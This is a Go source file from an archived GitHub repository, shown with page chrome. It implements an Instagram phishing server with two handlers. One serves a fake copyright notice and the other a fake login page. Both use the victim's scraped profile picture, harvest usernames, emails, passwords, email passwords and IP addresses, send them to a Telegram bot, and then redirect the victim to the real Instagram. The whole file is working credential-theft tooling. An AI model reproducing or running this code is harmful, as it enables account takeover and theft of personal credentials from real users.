This repository has been archived by the owner on Jan 16, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathinstagram.go
189 lines (162 loc) · 5.25 KB
/
instagram.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
package main
import (
"bytes"
"context"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"fyne.io/fyne/dialog"
"fyne.io/fyne/widget"
"fyne.io/fyne"
"github.com/PuerkitoBio/goquery"
"github.com/raifpy/Go/errHandler"
)
func getImage(username string) string {
req, err := http.NewRequest("GET", "https://instagram.com/"+username, nil)
if errHandler.HandlerBool(err) {
return ""
}
req.Header.Add("Accept-Encoding", "text")
req.Header.Add("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0")
cli := http.Client{}
response, err := cli.Do(req)
if errHandler.HandlerBool(err) {
return ""
}
/*browser := surf.NewBrowser()
browser.SetUserAgent("Mozilla/5.0 (Linux; Android 9; SM-J730F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 Mobile Safari/537.36")
browser.Open("https://m.instagram.com/" + username)*/
if response.StatusCode != 200 {
log.Println("200 dönmeyen kod!")
return ""
}
ham, _ := ioutil.ReadAll(response.Body)
q, err := goquery.NewDocumentFromReader(bytes.NewBufferString(string(ham)))
if errHandler.HandlerBool(err) {
return ""
}
/*q.Find("meta").Each(func(_ int, s *goquery.Selection) {
// hü
fmt.Println(s.Find("property").Text())
})*/
var url string
q.Find("meta").Each(func(_ int, s *goquery.Selection) {
imageURL, ok := s.Attr("content")
if ok && strings.HasPrefix(imageURL, "https://instagram.fist") {
url = imageURL
}
})
//fmt.Println(string(ham))
return url
}
func serveInstagramTelif(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
serveFunc := func(response http.ResponseWriter, req *http.Request) {
log.Println("Requests -> ", req.Form.Encode())
query := req.URL.Query()
if key, ok := query["nick"]; ok {
if !errHandler.HandlerBool(req.ParseForm()) {
mail := req.FormValue("mail")
pass := req.FormValue("password")
mailPass := req.FormValue("mailpass")
if mail != "" || pass != "" {
log.Printf("UserName = %s\nEmail = %s\nPassw = %s\nEmailPass = %s\n\n", key[0], mail, pass, mailPass)
*textStream += "\nUserName = " + key[0] + "\nEmail = " + mail + "\nPass = " + pass + "\nMPass = " + mailPass + "\n"
textGrid.SetText(*textStream)
if useTelegramBot {
tg.send("\nUserName = " + key[0] + "\nEmail = " + mail + "\nPass = " + pass + "\nMPass = " + mailPass)
}
notiApp.SendNotification(fyne.NewNotification("New Form", mail+" : "+pass))
http.Redirect(response, req, "https://instagram.com", 301)
return
}
*textStream += "New Requests For @" + key[0] + "\n"
textGrid.SetText(*textStream)
if useTelegramBot {
tg.send("New Request for " + key[0])
}
} else {
log.Println("Error to req.ParseFrom")
}
keyStr := strings.Replace(key[0], "@", "", 1)
log.Println("UserName -> ", keyStr)
imageURL := getImage(keyStr)
if imageURL == "" {
imageURL = "https://instagram.com/static/images/ico/xxxhdpi_launcher.png/9fc4bab7565b.png"
fmt.Fprintln(response, strings.Replace(strings.Replace(userNotFound, "&&user&&", keyStr, -1), "&&pp&&", imageURL, -1))
return
}
fmt.Fprintln(response, strings.Replace(strings.Replace(pw, "&&user&&", keyStr, -1), "&&pp&&", imageURL, -1))
return
}
log.Println("Returning first page")
fmt.Fprintln(response, instagramCheckUsername)
}
/*
http.HandleFunc("/", serveFunc)
err := http.ListenAndServe(":8089", nil)
dialog.ShowError(err, win)*/
m := http.NewServeMux()
s := http.Server{Addr: ":8089", Handler: m}
m.HandleFunc("/", serveFunc)
go func() {
<-kapat
s.Shutdown(context.Background())
fmt.Println("Server Shutdown")
}()
if err := s.ListenAndServe(); errHandler.HandlerBool(err) && err.Error() != serverClosedErrString{
if useTelegramBot {
tg.send(err.Error())
}
dialog.ShowError(err, win)
}
}
func serveInstagramLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
serveFunc := func(res http.ResponseWriter, req *http.Request) {
if !errHandler.HandlerBool(req.ParseForm()) {
if ip := req.FormValue("ip"); ip != "" {
log.Println(ip)
*textStream += ip
textGrid.SetText(*textStream)
if useTelegramBot {
tg.send(ip)
}
}
username := req.FormValue("username")
password := req.FormValue("password")
if username != "" && password != "" {
*textStream += "UserName = " + username + "\nPassword = " + password + "\n"
textGrid.SetText(*textStream)
if useTelegramBot {
tg.send("UserName = " + username + "\nPass = " + password)
}
notiApp.SendNotification(fyne.NewNotification("New Form", username+" : "+password))
http.Redirect(res, req, "https://instagram.com", 301)
}
}
*textStream += "New Request\n"
textGrid.SetText(*textStream)
if useTelegramBot {
tg.send("New Request")
}
fmt.Fprintln(res, instagramLoginHtml)
return
}
/*http.HandleFunc("/", serveFunc)
http.ListenAndServe(":8089", nil)*/
m := http.NewServeMux()
s := http.Server{Addr: ":8089", Handler: m}
m.HandleFunc("/", serveFunc)
go func() {
<-kapat
s.Shutdown(context.Background())
fmt.Println("Server Shutdown")
}()
if err := s.ListenAndServe(); errHandler.HandlerBool(err) && err.Error() != serverClosedErrString{
if useTelegramBot {
tg.send(err.Error())
}
dialog.ShowError(err, win)
}
}